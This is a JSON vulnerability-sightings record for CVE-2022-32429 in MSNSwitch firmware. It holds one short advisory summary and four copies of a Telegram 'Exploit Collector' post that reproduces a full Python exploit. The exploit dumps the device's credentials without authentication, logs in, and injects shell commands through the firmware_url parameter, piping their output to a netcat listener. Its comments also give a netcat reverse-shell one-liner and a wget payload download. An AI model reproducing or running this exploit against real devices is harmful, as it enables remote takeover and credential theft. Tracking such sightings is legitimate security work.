{"vulnerability": "CVE-2022-32429", "sightings": [{"uuid": "6555bcab-5113-4e21-b50b-4b8d865e86b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32429", "type": "seen", "source": "https://t.me/cibsecurity/47918", "content": "\u203c CVE-2022-32429 \u203c\n\nAn authentication-bypass issue in the component http://MYDEVICEIP/cgi-bin-sdb/ExportSettings.sh of Mega System Technologies Inc MSNSwitch MNT.2408 allows unauthenticated attackers to arbitrarily configure settings within the application, leading to remote code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-08-11T00:32:28.000000Z"}, {"uuid": "7a85b1fe-a84c-46f7-898b-28efa0f9f30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32429", "type": "seen", "source": "https://t.me/hacking_Attack/76212", "content": "Exploit Collector\nMSNSwitch Firmware MNT.2408 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png MSNSwitch Firmware MNT.2408 suffers from a remote code execution vulnerability.\n\nSHA-256 | 0aa2010dca8260f648fb8dbb7af7facb6c5dd2996e3ffb913fb36877a1e3b0d6Download Exploit Title: MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)\nGoogle Dork: n/a\nDate:9/1/2022\nExploit Author: Eli Fulkerson\nVendor Homepage: https://www.msnswitch.com/\nVersion: MNT.2408\nTested on: MNT.2408 firmware\nCVE: CVE-2022-32429\n\n#!/usr/bin/python3\n\"\"\"\n\nPOC for unauthenticated configuration dump, authenticated RCE on msnswitch firmware 2408.\n\nConfiguration dump only requires HTTP access.\nFull RCE requires you to be on the same subnet as the device.\n\n\"\"\" \n\nimport requests\nimport sys\nimport urllib.parse\nimport readline\nimport random\nimport string\n# listen with \"ncat -lk {LISTENER_PORT}\" on LISTENER_HOST\nLISTENER_HOST = \"192.168.EDIT.ME\"\nLISTENER_PORT = 3434\n\n# target msnswitch\nTARGET=\"192.168.EDIT.ME2\"\nPORT=80\n\nUSERNAME = None\nPASSWORD = None\n\n\"\"\"\nFirst vulnerability, unauthenticated configuration/credential dump\n\"\"\"\nif USERNAME == None or PASSWORD == None:\n# lets just ask\nhack_url=f\"http://{TARGET}:{PORT}/cgi-bin-hax/ExportSettings.sh\"\nsession = requests.session()\n\ndata = session.get(hack_url)\nfor each in data.text.split('\\n'):\nkey = None\nval = None\n\ntry:\nkey = each.strip().split('=')[0]\nval = each.strip().split('=')[1]\nexcept:\npass\n\nif key == \"Account1\":\nUSERNAME = val\nif key == \"Password1\":\nPASSWORD = val\n\n\"\"\"\nSecond vulnerability, authenticated command execution\n\nThis only works on the local lan.\n\nfor full reverse shell, modify and upload netcat busybox shell script to /tmp:\n\nshell script: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.X.X 4242 >/tmp/f\ndownload to unit: /usr/bin/wget http://192.168.X.X:8000/myfile.txt -P /tmp\n\nref: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox\n\"\"\"\n\nsession = requests.session()\n\n# initial login, establishes our Cookie\nburp0_url = f\"http://{TARGET}:{PORT}/goform/login\"\nburp0_headers = {\"Cache-Control\": \"max-age=0\", \"Upgrade-Insecure-Requests\": \"1\", \"Origin\": f\"http://{TARGET}\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\", \"Referer\": \"http://192.168.120.17/login.asp\", \"Accept-Encoding\": \"gzip, deflate\", \"Accept-Language\": \"en-US,en;q=0.9\", \"Connection\": \"close\"}\nburp0_data = {\"login\": \"1\", \"user\": USERNAME, \"password\": PASSWORD}\nsession.post(burp0_url, headers=burp0_headers, data=burp0_data)\n\n# get our csrftoken\nburp0_url = f\"http://{TARGET}:{PORT}/saveUpgrade.asp\"\ndata = session.get(burp0_url)\n\ncsrftoken = data.text.split(\"?csrftoken=\")[1].split(\"\\\"\")[0]\n\nwhile True:\nCMD = input('x:')\nCMD_u = urllib.parse.quote_plus(CMD)\nfilename = ''.join(random.choice(string.ascii_letters) for _ in range(25))\n\ntry:\nhack_url = f\"http://{TARGET}:{PORT}/cgi-bin/upgrade.cgi?firmware_url=http%3A%2F%2F192.168.2.1%60{CMD_u}%7Cnc%20{LISTENER_HOST}%20{LISTENER_PORT}%60%2F{filename}%3F&csrftoken={csrftoken}\"\n\nsession.get(hack_url, timeout=0.01)\nexcept requests.exceptions.ReadTimeout:\npass Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:19.106304Z"}, {"uuid": "7c1cf12f-f5a6-4415-b632-28338a93b865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32429", "type": "seen", "source": "https://t.me/hacking_Attack/76212", "content": "Exploit Collector\nMSNSwitch Firmware MNT.2408 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png MSNSwitch Firmware MNT.2408 suffers from a remote code execution vulnerability.\n\nSHA-256 | 0aa2010dca8260f648fb8dbb7af7facb6c5dd2996e3ffb913fb36877a1e3b0d6Download Exploit Title: MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)\nGoogle Dork: n/a\nDate:9/1/2022\nExploit Author: Eli Fulkerson\nVendor Homepage: https://www.msnswitch.com/\nVersion: MNT.2408\nTested on: MNT.2408 firmware\nCVE: CVE-2022-32429\n\n#!/usr/bin/python3\n\"\"\"\n\nPOC for unauthenticated configuration dump, authenticated RCE on msnswitch firmware 2408.\n\nConfiguration dump only requires HTTP access.\nFull RCE requires you to be on the same subnet as the device.\n\n\"\"\" \n\nimport requests\nimport sys\nimport urllib.parse\nimport readline\nimport random\nimport string\n# listen with \"ncat -lk {LISTENER_PORT}\" on LISTENER_HOST\nLISTENER_HOST = \"192.168.EDIT.ME\"\nLISTENER_PORT = 3434\n\n# target msnswitch\nTARGET=\"192.168.EDIT.ME2\"\nPORT=80\n\nUSERNAME = None\nPASSWORD = None\n\n\"\"\"\nFirst vulnerability, unauthenticated configuration/credential dump\n\"\"\"\nif USERNAME == None or PASSWORD == None:\n# lets just ask\nhack_url=f\"http://{TARGET}:{PORT}/cgi-bin-hax/ExportSettings.sh\"\nsession = requests.session()\n\ndata = session.get(hack_url)\nfor each in data.text.split('\\n'):\nkey = None\nval = None\n\ntry:\nkey = each.strip().split('=')[0]\nval = each.strip().split('=')[1]\nexcept:\npass\n\nif key == \"Account1\":\nUSERNAME = val\nif key == \"Password1\":\nPASSWORD = val\n\n\"\"\"\nSecond vulnerability, authenticated command execution\n\nThis only works on the local lan.\n\nfor full reverse shell, modify and upload netcat busybox shell script to /tmp:\n\nshell script: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.X.X 4242 >/tmp/f\ndownload to unit: /usr/bin/wget http://192.168.X.X:8000/myfile.txt -P /tmp\n\nref: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox\n\"\"\"\n\nsession = requests.session()\n\n# initial login, establishes our Cookie\nburp0_url = f\"http://{TARGET}:{PORT}/goform/login\"\nburp0_headers = {\"Cache-Control\": \"max-age=0\", \"Upgrade-Insecure-Requests\": \"1\", \"Origin\": f\"http://{TARGET}\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\", \"Referer\": \"http://192.168.120.17/login.asp\", \"Accept-Encoding\": \"gzip, deflate\", \"Accept-Language\": \"en-US,en;q=0.9\", \"Connection\": \"close\"}\nburp0_data = {\"login\": \"1\", \"user\": USERNAME, \"password\": PASSWORD}\nsession.post(burp0_url, headers=burp0_headers, data=burp0_data)\n\n# get our csrftoken\nburp0_url = f\"http://{TARGET}:{PORT}/saveUpgrade.asp\"\ndata = session.get(burp0_url)\n\ncsrftoken = data.text.split(\"?csrftoken=\")[1].split(\"\\\"\")[0]\n\nwhile True:\nCMD = input('x:')\nCMD_u = urllib.parse.quote_plus(CMD)\nfilename = ''.join(random.choice(string.ascii_letters) for _ in range(25))\n\ntry:\nhack_url = f\"http://{TARGET}:{PORT}/cgi-bin/upgrade.cgi?firmware_url=http%3A%2F%2F192.168.2.1%60{CMD_u}%7Cnc%20{LISTENER_HOST}%20{LISTENER_PORT}%60%2F{filename}%3F&csrftoken={csrftoken}\"\n\nsession.get(hack_url, timeout=0.01)\nexcept requests.exceptions.ReadTimeout:\npass Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:33.990433Z"}, {"uuid": "ce1178de-28b6-4444-b302-58d519428e05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32429", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/76212", "content": "Exploit Collector\nMSNSwitch Firmware MNT.2408 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png MSNSwitch Firmware MNT.2408 suffers from a remote code execution vulnerability.\n\nSHA-256 | 0aa2010dca8260f648fb8dbb7af7facb6c5dd2996e3ffb913fb36877a1e3b0d6Download Exploit Title: MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)\nGoogle Dork: n/a\nDate:9/1/2022\nExploit Author: Eli Fulkerson\nVendor Homepage: https://www.msnswitch.com/\nVersion: MNT.2408\nTested on: MNT.2408 firmware\nCVE: CVE-2022-32429\n\n#!/usr/bin/python3\n\"\"\"\n\nPOC for unauthenticated configuration dump, authenticated RCE on msnswitch firmware 2408.\n\nConfiguration dump only requires HTTP access.\nFull RCE requires you to be on the same subnet as the device.\n\n\"\"\" \n\nimport requests\nimport sys\nimport urllib.parse\nimport readline\nimport random\nimport string\n# listen with \"ncat -lk {LISTENER_PORT}\" on LISTENER_HOST\nLISTENER_HOST = \"192.168.EDIT.ME\"\nLISTENER_PORT = 3434\n\n# target msnswitch\nTARGET=\"192.168.EDIT.ME2\"\nPORT=80\n\nUSERNAME = None\nPASSWORD = None\n\n\"\"\"\nFirst vulnerability, unauthenticated configuration/credential dump\n\"\"\"\nif USERNAME == None or PASSWORD == None:\n# lets just ask\nhack_url=f\"http://{TARGET}:{PORT}/cgi-bin-hax/ExportSettings.sh\"\nsession = requests.session()\n\ndata = session.get(hack_url)\nfor each in data.text.split('\\n'):\nkey = None\nval = None\n\ntry:\nkey = each.strip().split('=')[0]\nval = each.strip().split('=')[1]\nexcept:\npass\n\nif key == \"Account1\":\nUSERNAME = val\nif key == \"Password1\":\nPASSWORD = val\n\n\"\"\"\nSecond vulnerability, authenticated command execution\n\nThis only works on the local lan.\n\nfor full reverse shell, modify and upload netcat busybox shell script to /tmp:\n\nshell script: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.X.X 4242 >/tmp/f\ndownload to unit: /usr/bin/wget http://192.168.X.X:8000/myfile.txt -P /tmp\n\nref: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox\n\"\"\"\n\nsession = requests.session()\n\n# initial login, establishes our Cookie\nburp0_url = f\"http://{TARGET}:{PORT}/goform/login\"\nburp0_headers = {\"Cache-Control\": \"max-age=0\", \"Upgrade-Insecure-Requests\": \"1\", \"Origin\": f\"http://{TARGET}\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\", \"Referer\": \"http://192.168.120.17/login.asp\", \"Accept-Encoding\": \"gzip, deflate\", \"Accept-Language\": \"en-US,en;q=0.9\", \"Connection\": \"close\"}\nburp0_data = {\"login\": \"1\", \"user\": USERNAME, \"password\": PASSWORD}\nsession.post(burp0_url, headers=burp0_headers, data=burp0_data)\n\n# get our csrftoken\nburp0_url = f\"http://{TARGET}:{PORT}/saveUpgrade.asp\"\ndata = session.get(burp0_url)\n\ncsrftoken = data.text.split(\"?csrftoken=\")[1].split(\"\\\"\")[0]\n\nwhile True:\nCMD = input('x:')\nCMD_u = urllib.parse.quote_plus(CMD)\nfilename = ''.join(random.choice(string.ascii_letters) for _ in range(25))\n\ntry:\nhack_url = f\"http://{TARGET}:{PORT}/cgi-bin/upgrade.cgi?firmware_url=http%3A%2F%2F192.168.2.1%60{CMD_u}%7Cnc%20{LISTENER_HOST}%20{LISTENER_PORT}%60%2F{filename}%3F&csrftoken={csrftoken}\"\n\nsession.get(hack_url, timeout=0.01)\nexcept requests.exceptions.ReadTimeout:\npass Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T05:00:04.739241Z"}, {"uuid": "695cfa35-2b3b-4e51-9453-5c0188498182", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32429", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/76212", "content": "Exploit Collector\nMSNSwitch Firmware MNT.2408 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png MSNSwitch Firmware MNT.2408 suffers from a remote code execution vulnerability.\n\nSHA-256 | 0aa2010dca8260f648fb8dbb7af7facb6c5dd2996e3ffb913fb36877a1e3b0d6Download Exploit Title: MSNSwitch Firmware MNT.2408 - Remote Code Exectuion (RCE)\nGoogle Dork: n/a\nDate:9/1/2022\nExploit Author: Eli Fulkerson\nVendor Homepage: https://www.msnswitch.com/\nVersion: MNT.2408\nTested on: MNT.2408 firmware\nCVE: CVE-2022-32429\n\n#!/usr/bin/python3\n\"\"\"\n\nPOC for unauthenticated configuration dump, authenticated RCE on msnswitch firmware 2408.\n\nConfiguration dump only requires HTTP access.\nFull RCE requires you to be on the same subnet as the device.\n\n\"\"\" \n\nimport requests\nimport sys\nimport urllib.parse\nimport readline\nimport random\nimport string\n# listen with \"ncat -lk {LISTENER_PORT}\" on LISTENER_HOST\nLISTENER_HOST = \"192.168.EDIT.ME\"\nLISTENER_PORT = 3434\n\n# target msnswitch\nTARGET=\"192.168.EDIT.ME2\"\nPORT=80\n\nUSERNAME = None\nPASSWORD = None\n\n\"\"\"\nFirst vulnerability, unauthenticated configuration/credential dump\n\"\"\"\nif USERNAME == None or PASSWORD == None:\n# lets just ask\nhack_url=f\"http://{TARGET}:{PORT}/cgi-bin-hax/ExportSettings.sh\"\nsession = requests.session()\n\ndata = session.get(hack_url)\nfor each in data.text.split('\\n'):\nkey = None\nval = None\n\ntry:\nkey = each.strip().split('=')[0]\nval = each.strip().split('=')[1]\nexcept:\npass\n\nif key == \"Account1\":\nUSERNAME = val\nif key == \"Password1\":\nPASSWORD = val\n\n\"\"\"\nSecond vulnerability, authenticated command execution\n\nThis only works on the local lan.\n\nfor full reverse shell, modify and upload netcat busybox shell script to /tmp:\n\nshell script: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.X.X 4242 >/tmp/f\ndownload to unit: /usr/bin/wget http://192.168.X.X:8000/myfile.txt -P /tmp\n\nref: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-busybox\n\"\"\"\n\nsession = requests.session()\n\n# initial login, establishes our Cookie\nburp0_url = f\"http://{TARGET}:{PORT}/goform/login\"\nburp0_headers = {\"Cache-Control\": \"max-age=0\", \"Upgrade-Insecure-Requests\": \"1\", \"Origin\": f\"http://{TARGET}\", \"Content-Type\": \"application/x-www-form-urlencoded\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\", \"Referer\": \"http://192.168.120.17/login.asp\", \"Accept-Encoding\": \"gzip, deflate\", \"Accept-Language\": \"en-US,en;q=0.9\", \"Connection\": \"close\"}\nburp0_data = {\"login\": \"1\", \"user\": USERNAME, \"password\": PASSWORD}\nsession.post(burp0_url, headers=burp0_headers, data=burp0_data)\n\n# get our csrftoken\nburp0_url = f\"http://{TARGET}:{PORT}/saveUpgrade.asp\"\ndata = session.get(burp0_url)\n\ncsrftoken = data.text.split(\"?csrftoken=\")[1].split(\"\\\"\")[0]\n\nwhile True:\nCMD = input('x:')\nCMD_u = urllib.parse.quote_plus(CMD)\nfilename = ''.join(random.choice(string.ascii_letters) for _ in range(25))\n\ntry:\nhack_url = f\"http://{TARGET}:{PORT}/cgi-bin/upgrade.cgi?firmware_url=http%3A%2F%2F192.168.2.1%60{CMD_u}%7Cnc%20{LISTENER_HOST}%20{LISTENER_PORT}%60%2F{filename}%3F&csrftoken={csrftoken}\"\n\nsession.get(hack_url, timeout=0.01)\nexcept requests.exceptions.ReadTimeout:\npass Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:57.820324Z"}]}